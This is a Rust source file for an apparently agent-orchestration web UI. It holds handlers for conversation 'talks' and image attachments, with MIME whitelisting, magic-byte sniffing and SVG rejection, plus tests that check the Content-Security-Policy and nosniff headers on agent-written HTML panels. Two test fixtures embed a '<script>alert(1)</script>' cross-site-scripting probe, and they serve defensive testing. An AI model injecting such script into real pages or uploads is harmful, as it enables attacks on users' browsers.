5961 turn.take()
5962 .expect("held for the whole loop until released here")
5963 .release(&mut live);
5964 break;
5965 }
5966 };
5967 talk = next_talk;
5968 let drained = match result {
5969 Ok(Some(drained)) => drained,
5970 Ok(None) => {
5971 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5972 if live.queued.get(&id).copied().unwrap_or(0) != observed {
5973 continue;
5974 }
5975 turn.take()
5976 .expect("held for the whole loop until released here")
5977 .release(&mut live);
5978 break;
5979 }
5980 Err(e) => {
5981 tracing::warn!("talk {id} could not drain queued text: {e:#}");
5982 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5983 turn.take()
5984 .expect("held for the whole loop until released here")
5985 .release(&mut live);
5986 break;
5987 }
5988 };
5989 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5990 tracing::warn!("talk {id} turn failed: {e:#}");
5991 }
5992 }
5993}
5994
5995async fn talk_pending_clear(
5997 State(ui): State<Arc<Ui>>,
5998 Path(id): Path<String>,
5999 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6000) -> ApiResult<Json<TalkView>> {
6001 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6002 blocking(move || {
6003 let id = resolve_talk(&ui.talks, &id)?;
6004 let mut talk = ui.talks.get(&id)?;
6005 if !talk.status.open() {
6006 return Err(ApiError::conflict(format!(
6007 "talk {} is {} and takes no more turns",
6008 talk.short(),
6009 talk.status.as_str()
6010 )));
6011 }
6012 if !talk::clear_pending_if_matches(
6013 &mut talk,
6014 &ui.talks,
6015 &body.expected_text,
6016 &body.expected_attachments,
6017 )? {
6018 return Err(ApiError::conflict(
6019 "queued message changed; reload it before clearing",
6020 ));
6021 }
6022 let thinking = ui.is_thinking(&talk.id);
6023 Ok(Json(TalkView::new(talk, thinking)))
6024 })
6025 .await
6026}
6027
6028async fn talk_pending_edit(
6032 State(ui): State<Arc<Ui>>,
6033 Path(id): Path<String>,
6034 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6035) -> ApiResult<Json<TalkView>> {
6036 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6037 let (view, reclaimed) = blocking({
6038 let ui = Arc::clone(&ui);
6039 move || {
6040 let id = resolve_talk(&ui.talks, &id)?;
6041 let mut talk = ui.talks.get(&id)?;
6042 if !talk.status.open() {
6043 return Err(ApiError::conflict(format!(
6044 "talk {} is {} and takes no more turns",
6045 talk.short(),
6046 talk.status.as_str()
6047 )));
6048 }
6049 if !talk::edit_pending_text(
6050 &mut talk,
6051 &ui.talks,
6052 &body.text,
6053 &body.expected_text,
6054 &body.expected_attachments,
6055 )? {
6056 return Err(ApiError::conflict(
6057 "queued message changed; reload it before editing",
6058 ));
6059 }
6060 let claim = match ui.begin_queued_talk_turn(&id)? {
6061 Some(turn_guard) => {
6062 let (cfg, _) = Config::discover(&talk.repo, None)?;
6063 Some((talk.clone(), cfg, id.clone(), turn_guard))
6064 }
6065 None => None,
6066 };
6067 let thinking = ui.is_thinking(&id);
6068 Ok((TalkView::new(talk, thinking), claim))
6069 }
6070 })
6071 .await?;
6072 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6073 let talks = ui.talks.clone();
6074 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6075 }
6076 Ok(Json(view))
6077}
6078
6079#[derive(Debug, Deserialize)]
6081struct TalkAgent {
6082 agent: String,
6083}
6084
6085async fn talk_agent(
6090 State(ui): State<Arc<Ui>>,
6091 Path(id): Path<String>,
6092 Json(body): Json<TalkAgent>,
6093) -> ApiResult<Json<TalkView>> {
6094 let id = {
6095 let ui = Arc::clone(&ui);
6096 blocking(move || resolve_talk(&ui.talks, &id)).await?
6097 };
6098 let repo = {
6099 let ui = Arc::clone(&ui);
6100 let id = id.clone();
6101 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6102 };
6103 let cfg = config_for(&repo).await?;
6104 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6105 return Err(ApiError::conflict(
6106 "a talk turn is running; change the agent once it has answered",
6107 ));
6108 };
6109 let switched = {
6110 let ui = Arc::clone(&ui);
6111 let id = id.clone();
6112 let cfg = cfg.clone();
6113 blocking(move || {
6114 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6115 .map_err(ApiError::bad_request_from)?;
6116 let mut talk = ui.talks.get(&id)?;
6117 if !talk.status.open() {
6118 return Err(ApiError::conflict(format!(
6119 "talk {} is {} and takes no more turns",
6120 talk.short(),
6121 talk.status.as_str()
6122 )));
6123 }
6124 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6125 Ok(talk)
6126 })
6127 .await
6128 };
6129 let fresh = {
6134 let ui = Arc::clone(&ui);
6135 let id = id.clone();
6136 blocking(move || Ok(ui.talks.get(&id)?)).await
6137 };
6138 let draining = match fresh {
6139 Ok(talk) => {
6140 let draining = talk.status.open()
6141 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6142 let talks = ui.talks.clone();
6143 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6144 draining
6145 }
6146 Err(_) => false,
6147 };
6148 let talk = switched?;
6149 Ok(Json(TalkView::new(talk, draining)))
6150}
6151
6152async fn talk_close(
6154 State(ui): State<Arc<Ui>>,
6155 Path(id): Path<String>,
6156) -> ApiResult<Json<TalkView>> {
6157 blocking(move || {
6158 let id = resolve_talk(&ui.talks, &id)?;
6159 let mut talk = ui.talks.get(&id)?;
6160 talk::close(&mut talk, &ui.talks)?;
6161 let thinking = ui.is_thinking(&talk.id);
6162 Ok(Json(TalkView::new(talk, thinking)))
6163 })
6164 .await
6165}
6166
6167async fn talk_reopen(
6169 State(ui): State<Arc<Ui>>,
6170 Path(id): Path<String>,
6171) -> ApiResult<Json<TalkView>> {
6172 blocking(move || {
6173 let id = resolve_talk(&ui.talks, &id)?;
6174 let mut talk = ui.talks.get(&id)?;
6175 talk::reopen(&mut talk, &ui.talks)?;
6176 let thinking = ui.is_thinking(&talk.id);
6177 Ok(Json(TalkView::new(talk, thinking)))
6178 })
6179 .await
6180}
6181
6182async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6192 blocking(move || {
6193 let id = resolve_talk(&ui.talks, &id)?;
6194 ui.talks.remove(&id)?;
6195 Ok(StatusCode::NO_CONTENT)
6196 })
6197 .await
6198}
6199
6200fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6202 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6203}
6204
6205async fn talk_attachment_post(
6208 State(ui): State<Arc<Ui>>,
6209 Path(id): Path<String>,
6210 headers: HeaderMap,
6211 body: Bytes,
6212) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6213 let mime = validate_attachment(&headers, &body)?;
6214 let name = filename_header(&headers);
6215 let data = body.to_vec();
6216 blocking(move || {
6217 let id = resolve_talk(&ui.talks, &id)?;
6218 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6219 Ok((StatusCode::CREATED, Json(att)))
6220 })
6221 .await
6222}
6223
6224async fn talk_attachment_get(
6227 State(ui): State<Arc<Ui>>,
6228 Path((id, att)): Path<(String, String)>,
6229) -> ApiResult<Response> {
6230 blocking(move || {
6231 let id = resolve_talk(&ui.talks, &id)?;
6232 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6233 return Err(ApiError::not_found(format!(
6234 "talk {id} has no attachment `{att}`"
6235 )));
6236 };
6237 Ok(attachment_response(&meta.mime, data))
6238 })
6239 .await
6240}
6241
6242fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6253 if data.len() > ATTACHMENT_MAX_BYTES {
6254 return Err(ApiError::bad_request(format!(
6255 "attachment is {} bytes, over the {} MiB limit",
6256 data.len(),
6257 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6258 ))
6259 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6260 }
6261 if data.is_empty() {
6262 return Err(ApiError::bad_request("attachment is empty"));
6263 }
6264 let declared = declared_mime(headers)?;
6265 match sniffed_mime(data) {
6266 Some(sniffed) if sniffed == declared => Ok(declared),
6267 Some(sniffed) => Err(ApiError::bad_request(format!(
6268 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6269 ))),
6270 None => Err(ApiError::bad_request(
6271 "the file's bytes do not match any accepted image format",
6272 )),
6273 }
6274}
6275
6276fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6280 let raw = headers
6281 .get(header::CONTENT_TYPE)
6282 .and_then(|v| v.to_str().ok())
6283 .unwrap_or("")
6284 .split(';')
6285 .next()
6286 .unwrap_or("")
6287 .trim()
6288 .to_ascii_lowercase();
6289 ATTACHMENT_MIME_WHITELIST
6290 .iter()
6291 .find(|&&m| m == raw)
6292 .copied()
6293 .ok_or_else(|| {
6294 if raw == "image/svg+xml" {
6295 ApiError::bad_request(
6296 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6297 not just a picture",
6298 )
6299 } else if raw.is_empty() {
6300 ApiError::bad_request("Content-Type is required for an attachment upload")
6301 } else {
6302 ApiError::bad_request(format!(
6303 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6304 image/gif or image/webp"
6305 ))
6306 }
6307 })
6308}
6309
6310fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6313 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6314 Some("image/png")
6315 } else if data.starts_with(b"\xff\xd8\xff") {
6316 Some("image/jpeg")
6317 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6318 Some("image/gif")
6319 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6320 Some("image/webp")
6321 } else {
6322 None
6323 }
6324}
6325
6326fn filename_header(headers: &HeaderMap) -> String {
6332 headers
6333 .get(FILENAME_HEADER)
6334 .and_then(|v| v.to_str().ok())
6335 .map(str::trim)
6336 .filter(|s| !s.is_empty())
6337 .unwrap_or("attachment")
6338 .to_owned()
6339}
6340
6341fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6348 let content_type = ATTACHMENT_MIME_WHITELIST
6349 .iter()
6350 .find(|&&m| m == mime)
6351 .copied()
6352 .unwrap_or("application/octet-stream");
6353 (
6354 [
6355 (header::CONTENT_TYPE, content_type),
6356 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6357 ],
6358 body,
6359 )
6360 .into_response()
6361}
6362
6363async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6371 let repo = repo.to_path_buf();
6372 blocking(move || {
6373 let (cfg, _) = Config::discover(&repo, None)?;
6374 Ok(cfg)
6375 })
6376 .await
6377}
6378
6379fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6385 let mut hits = ids
6386 .into_iter()
6387 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6388 match (hits.next(), hits.next()) {
6389 (Some(one), None) => Ok(one),
6390 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6391 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6392 "`{prefix}` matches more than one {what}, including {a} and {b}"
6393 ))),
6394 }
6395}
6396
6397#[cfg(test)]
6398mod tests {
6399
6400 #[test]
6401 fn holder_reads_the_lease_not_the_record() {
6402 let mut q = Question::new(
6403 "run".to_owned(),
6404 "implement".to_owned(),
6405 "impl-A".to_owned(),
6406 "which?".to_owned(),
6407 String::new(),
6408 Vec::new(),
6409 );
6410 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6411 q.cwd = Some("/tmp".to_owned());
6412 assert_eq!(holder_of(&q, None), Some("nobody"));
6413 let beat = |kind, ago: i64| ask::Lease {
6414 kind,
6415 pid: 1,
6416 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6417 .unwrap(),
6418 };
6419 let fresh = beat(ask::WaiterKind::Asker, 1);
6420 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6421 let daemon = beat(ask::WaiterKind::Daemon, 1);
6422 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6423 let stale = beat(ask::WaiterKind::Asker, 3600);
6424 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6425
6426 let mut c = Question::new(
6429 "task".to_owned(),
6430 crate::conduct::NODE.to_owned(),
6431 "conduct".to_owned(),
6432 "which?".to_owned(),
6433 String::new(),
6434 Vec::new(),
6435 );
6436 assert_eq!(holder_of(&c, None), Some("nobody"));
6437 c.cwd = Some("/tmp".to_owned());
6438 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6439 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6440 let deputy = beat(ask::WaiterKind::Deputy, 1);
6441 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6442 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6443
6444 let mut m = Question::new(
6447 "run".to_owned(),
6448 crate::land::APPROVAL_NODE.to_owned(),
6449 "land".to_owned(),
6450 "merge?".to_owned(),
6451 String::new(),
6452 Vec::new(),
6453 );
6454 assert_eq!(holder_of(&m, None), Some("nobody"));
6455 assert_eq!(
6456 holder_of(&m, Some(&fresh)),
6457 Some("nobody"),
6458 "a lease with no deputy is not a listener"
6459 );
6460 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6461 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6462 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6463 assert_eq!(holder_of(&m, None), Some("nobody"));
6464 }
6465
6466 #[test]
6467 fn deputies_enabled_follows_the_config() {
6468 let on = Config {
6471 agents: vec![crate::config::AgentSpec {
6472 id: "stub".to_owned(),
6473 kind: AgentKind::Command,
6474 model: None,
6475 command: vec!["true".to_owned()],
6476 extra_args: Vec::new(),
6477 env: Default::default(),
6478 prompt_delivery: None,
6479 }],
6480 ..Config::default()
6481 };
6482 assert!(crate::deputy::can_start(Some(&on), ""));
6483 assert!(crate::deputy::can_start(Some(&on), "stub"));
6484 let mut off = on.clone();
6485 off.daemon.max_deputies = 0;
6486 assert!(!crate::deputy::can_start(Some(&off), ""));
6487 let mut empty = on;
6488 empty.agents.clear();
6489 assert!(!crate::deputy::can_start(Some(&empty), ""));
6490 assert!(!crate::deputy::can_start(None, ""));
6491 }
6492
6493 use pretty_assertions::assert_eq;
6494 use serde_json::Value;
6495 use tempfile::TempDir;
6496 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6497
6498 use super::*;
6499 use crate::config::Config;
6500 use crate::queue::Source;
6501
6502 const SETTLE_STEPS: usize = 3_000;
6513
6514 struct Fixture {
6520 home: TempDir,
6521 addr: SocketAddr,
6522 }
6523
6524 impl Fixture {
6525 async fn start() -> Self {
6526 Self::with_loop(launch_idle).await
6527 }
6528
6529 async fn with_loop(launch: Launch) -> Self {
6531 let home = TempDir::new().expect("temp home");
6532 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6533 Self { home, addr }
6534 }
6535
6536 async fn with_repo(repo: PathBuf) -> Self {
6540 let home = TempDir::new().expect("temp home");
6541 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6542 Self { home, addr }
6543 }
6544
6545 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6548 let home = TempDir::new().expect("temp home");
6549 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6550 Self { home, addr }
6551 }
6552
6553 async fn serve(
6554 home: &FsPath,
6555 repo: PathBuf,
6556 launch: Launch,
6557 machine: Option<PathBuf>,
6558 ) -> SocketAddr {
6559 let queue = Queue::at(home.join("queue"));
6560 let runs = home.join("runs");
6561 std::fs::create_dir_all(&runs).expect("runs dir");
6562 let worktrees = home.join("wt").join("magi");
6563 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6564 let ui = Ui::new(
6565 queue,
6566 Questions::at(home.join("questions")),
6567 Talks::at(home.join("talks")),
6568 runs,
6569 home.to_path_buf(),
6570 repo,
6571 )
6572 .with_worktrees_root(worktrees)
6573 .with_machine_config(machine)
6574 .with_launch(launch);
6575 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6576 .await
6577 .expect("bind loopback");
6578 let addr = listener.local_addr().expect("local addr");
6579 tokio::spawn(async move {
6580 let _ = axum::serve(listener, ui.router()).await;
6581 });
6582 addr
6583 }
6584
6585 fn queue(&self) -> Queue {
6586 Queue::at(self.home.path().join("queue"))
6587 }
6588
6589 fn questions(&self) -> Questions {
6590 Questions::at(self.home.path().join("questions"))
6591 }
6592
6593 fn talks(&self) -> Talks {
6594 Talks::at(self.home.path().join("talks"))
6595 }
6596
6597 fn runs(&self) -> PathBuf {
6598 self.home.path().join("runs")
6599 }
6600
6601 async fn get(&self, path: &str) -> Res {
6602 request(self.addr, "GET", path, None).await
6603 }
6604
6605 async fn head(&self, path: &str) -> Res {
6610 request(self.addr, "HEAD", path, None).await
6611 }
6612
6613 async fn post(&self, path: &str, body: Option<&str>) -> Res {
6614 request(self.addr, "POST", path, body).await
6615 }
6616
6617 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6618 request_with(self.addr, "GET", path, None, extra).await
6619 }
6620
6621 async fn delete(&self, path: &str) -> Res {
6622 request(self.addr, "DELETE", path, None).await
6623 }
6624
6625 async fn put(&self, path: &str, body: &str) -> Res {
6626 request(self.addr, "PUT", path, Some(body)).await
6627 }
6628
6629 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6631 request_bytes(self.addr, path, headers, body).await
6632 }
6633 }
6634
6635 struct Res {
6636 status: u16,
6637 headers: String,
6638 head: String,
6643 body: String,
6644 bytes: Vec<u8>,
6648 }
6649
6650 impl Res {
6651 fn json(&self) -> Value {
6652 serde_json::from_str(&self.body)
6653 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6654 }
6655
6656 fn header(&self, name: &str) -> Option<&str> {
6658 self.head.lines().find_map(|line| {
6659 let (key, value) = line.split_once(':')?;
6660 key.trim()
6661 .eq_ignore_ascii_case(name)
6662 .then(|| value.trim_start().trim_end_matches('\r'))
6663 })
6664 }
6665 }
6666
6667 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6670 request_with(addr, method, path, body, &[]).await
6671 }
6672
6673 async fn request_with(
6677 addr: SocketAddr,
6678 method: &str,
6679 path: &str,
6680 body: Option<&str>,
6681 extra: &[(&str, &str)],
6682 ) -> Res {
6683 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6684 for (name, value) in extra {
6685 head.push_str(&format!("{name}: {value}\r\n"));
6686 }
6687 if let Some(body) = body {
6688 head.push_str("Content-Type: application/json\r\n");
6689 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6690 }
6691 head.push_str("\r\n");
6692 if let Some(body) = body {
6693 head.push_str(body);
6694 }
6695 let mut socket = tokio::net::TcpStream::connect(addr)
6696 .await
6697 .expect("connect to the test server");
6698 socket
6699 .write_all(head.as_bytes())
6700 .await
6701 .expect("write request");
6702 let mut raw = Vec::new();
6703 socket.read_to_end(&mut raw).await.expect("read response");
6704 let split = raw
6707 .windows(4)
6708 .position(|w| w == b"\r\n\r\n")
6709 .expect("a header block");
6710 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6711 let bytes = raw[split + 4..].to_vec();
6712 let status = head
6713 .lines()
6714 .next()
6715 .and_then(|line| line.split_whitespace().nth(1))
6716 .and_then(|code| code.parse().ok())
6717 .expect("a status line");
6718 Res {
6719 status,
6720 headers: head.to_lowercase(),
6721 head,
6722 body: String::from_utf8_lossy(&bytes).into_owned(),
6723 bytes,
6724 }
6725 }
6726
6727 async fn request_bytes(
6733 addr: SocketAddr,
6734 path: &str,
6735 headers: &[(&str, &str)],
6736 body: &[u8],
6737 ) -> Res {
6738 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6739 for (name, value) in headers {
6740 head.push_str(&format!("{name}: {value}\r\n"));
6741 }
6742 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6743 let mut socket = tokio::net::TcpStream::connect(addr)
6744 .await
6745 .expect("connect to the test server");
6746 socket
6747 .write_all(head.as_bytes())
6748 .await
6749 .expect("write request head");
6750 socket.write_all(body).await.expect("write request body");
6751 let mut raw = Vec::new();
6752 socket.read_to_end(&mut raw).await.expect("read response");
6753 let split = raw
6754 .windows(4)
6755 .position(|w| w == b"\r\n\r\n")
6756 .expect("a header block");
6757 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6758 let bytes = raw[split + 4..].to_vec();
6759 let status = head
6760 .lines()
6761 .next()
6762 .and_then(|line| line.split_whitespace().nth(1))
6763 .and_then(|code| code.parse().ok())
6764 .expect("a status line");
6765 Res {
6766 status,
6767 headers: head.to_lowercase(),
6768 head,
6769 body: String::from_utf8_lossy(&bytes).into_owned(),
6770 bytes,
6771 }
6772 }
6773
6774 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6776 let mut state = RunState::new(
6777 PathBuf::from("/repo/magi"),
6778 "main".to_owned(),
6779 "0123456789abcdef".to_owned(),
6780 "Add a web UI\n\nMobile first.".to_owned(),
6781 Config::default(),
6782 );
6783 state.id = id.to_owned();
6784 state.status = status;
6785 let dir = runs.join(id);
6786 std::fs::create_dir_all(&dir).expect("run dir");
6787 std::fs::write(
6788 dir.join("run.json"),
6789 serde_json::to_string_pretty(&state).expect("serialize run"),
6790 )
6791 .expect("write run.json");
6792 }
6793
6794 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
6798 let mut state = RunState::new(
6799 PathBuf::from(repo),
6800 "main".to_owned(),
6801 "0123456789abcdef".to_owned(),
6802 "task".to_owned(),
6803 Config::default(),
6804 );
6805 state.id = id.to_owned();
6806 state.status = status;
6807 let dir = runs.join(id);
6808 std::fs::create_dir_all(&dir).expect("run dir");
6809 std::fs::write(
6810 dir.join("run.json"),
6811 serde_json::to_string_pretty(&state).expect("serialize run"),
6812 )
6813 .expect("write run.json");
6814 }
6815
6816 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
6817 let body = serde_json::json!({
6818 "schema": 1,
6819 "pid": 4242,
6820 "started_at": Timestamp::now().to_string(),
6821 "updated_at": updated_at.to_string(),
6822 "idle": false,
6823 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
6824 "completed": 7,
6825 "polls": 143,
6826 });
6827 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
6828 }
6829
6830 fn launch_idle(
6840 _opts: daemon::Opts,
6841 stop: daemon::Stop,
6842 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6843 Box::pin(async move {
6844 while !stop.stopped() {
6845 tokio::time::sleep(Duration::from_millis(2)).await;
6846 }
6847 Ok(())
6848 })
6849 }
6850
6851 fn launch_broken(
6854 _opts: daemon::Opts,
6855 _stop: daemon::Stop,
6856 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6857 Box::pin(async {
6858 Err(anyhow::anyhow!(
6859 "publish the daemon status file: read-only file system"
6860 ))
6861 })
6862 }
6863
6864 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
6871 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
6872
6873 fn launch_knocking_on_the_way_out(
6880 _opts: daemon::Opts,
6881 stop: daemon::Stop,
6882 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6883 Box::pin(async move {
6884 while !stop.stopped() {
6885 tokio::time::sleep(Duration::from_millis(2)).await;
6886 }
6887 let addr = PARK_KNOCK
6888 .lock()
6889 .expect("park knock")
6890 .expect("the test set an address");
6891 let heard = request(addr, "GET", "/api/health", None).await.status;
6892 *PARK_HEARD.lock().expect("park heard") = Some(heard);
6893 Ok(())
6894 })
6895 }
6896
6897 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
6906 for _ in 0..SETTLE_STEPS {
6907 let view = fx.get("/api/loop").await.json();
6908 if want(&view) {
6909 return view;
6910 }
6911 tokio::time::sleep(Duration::from_millis(10)).await;
6912 }
6913 panic!(
6914 "the loop never settled: {}",
6915 fx.get("/api/loop").await.json()
6916 );
6917 }
6918
6919 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
6921 let store = fx.questions();
6922 let mut q = Question::new(
6923 "20260902-000000-beef".to_owned(),
6924 "implement".to_owned(),
6925 "impl-A".to_owned(),
6926 summary.to_owned(),
6927 "because it matters".to_owned(),
6928 choices.iter().map(|c| (*c).to_owned()).collect(),
6929 );
6930 store.put(&mut q).expect("put question");
6931 q.id
6932 }
6933
6934 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
6940 let store = fx.questions();
6941 let mut q = Question::new(
6942 "20260902-000000-beef".to_owned(),
6943 "land".to_owned(),
6944 "fix".to_owned(),
6945 "Merge this?".to_owned(),
6946 "the diff is in the panel".to_owned(),
6947 vec!["merge".to_owned(), "hold".to_owned()],
6948 );
6949 let staging = fx.home.path().join("staging");
6952 std::fs::create_dir_all(&staging).expect("staging dir");
6953 let sources: Vec<PathBuf> = assets
6954 .iter()
6955 .map(|(name, bytes)| {
6956 let path = staging.join(name);
6957 std::fs::write(&path, bytes).expect("write staged asset");
6958 path
6959 })
6960 .collect();
6961 store
6962 .put_panel(&mut q, html, &sources)
6963 .expect("write the panel");
6964 store.put(&mut q).expect("put question");
6965 q.id
6966 }
6967
6968 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6977 let store = fx.talks();
6978 std::fs::create_dir_all(store.root()).expect("talks dir");
6979 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6980 .expect("serialize a seat");
6981 let body = serde_json::json!({
6982 "schema": 1,
6983 "id": id,
6984 "repo": "/repo/magi",
6985 "agent": "mock",
6986 "status": status,
6987 "turns": [],
6988 "created_at": Timestamp::now().to_string(),
6989 "updated_at": Timestamp::now().to_string(),
6990 "seat": seat,
6991 });
6992 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
6993 store.get(id).expect("the seeded talk has to be readable");
6994 id.to_owned()
6995 }
6996
6997 #[tokio::test]
6998 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
6999 let fx = Fixture::start().await;
7000 let id = panel(
7001 &fx,
7002 "<h1>Merge?</h1><img src=\"diff.svg\">",
7003 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7004 );
7005
7006 for path in [
7007 format!("/api/questions/{id}/panel"),
7008 format!("/api/questions/{id}/asset/diff.svg"),
7009 ] {
7010 let res = fx.get(&path).await;
7011 assert_eq!(res.status, 200, "{path}: {}", res.body);
7012 assert_eq!(
7018 res.header("content-security-policy"),
7019 Some(
7020 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7021 font-src data:; base-uri 'none'; form-action 'none'; \
7022 frame-ancestors 'self'"
7023 ),
7024 "{path} is the only thing between a hostile panel and the tailnet"
7025 );
7026 assert_eq!(
7027 res.header("x-content-type-options"),
7028 Some("nosniff"),
7029 "{path}: a browser must not re-decide the type we sent"
7030 );
7031 assert_eq!(
7032 res.header("referrer-policy"),
7033 Some("no-referrer"),
7034 "{path}: a panel must not leak the question id off the machine"
7035 );
7036
7037 let pre = fx.head(&path).await;
7042 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7043 assert_eq!(
7044 pre.header("content-security-policy"),
7045 res.header("content-security-policy"),
7046 "{path}: the preflight carries the same policy"
7047 );
7048 assert_eq!(
7049 pre.header("content-type"),
7050 res.header("content-type"),
7051 "{path}: the preflight carries the same type"
7052 );
7053 }
7054 }
7055
7056 #[tokio::test]
7057 async fn a_panel_reaches_the_browser_byte_for_byte() {
7058 let fx = Fixture::start().await;
7059 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7064 let id = panel(&fx, html, &[]);
7065
7066 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7067
7068 assert_eq!(res.status, 200);
7069 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7070 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7071 assert_eq!(
7072 res.header("content-disposition"),
7073 None,
7074 "the panel itself is rendered in the frame, not downloaded"
7075 );
7076 }
7077
7078 #[tokio::test]
7079 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7080 let fx = Fixture::start().await;
7081 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7082 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7083 let id = panel(
7084 &fx,
7085 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7086 &[("diff.svg", svg), ("shot.png", png)],
7087 );
7088
7089 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7090 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7091
7092 assert_eq!(as_svg.status, 200);
7093 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7094 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7099
7100 assert_eq!(as_png.status, 200);
7101 assert_eq!(as_png.header("content-type"), Some("image/png"));
7102 assert_eq!(
7103 as_png.header("content-disposition"),
7104 None,
7105 "a raster image has no execution surface, so tapping it still shows it"
7106 );
7107 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7108 }
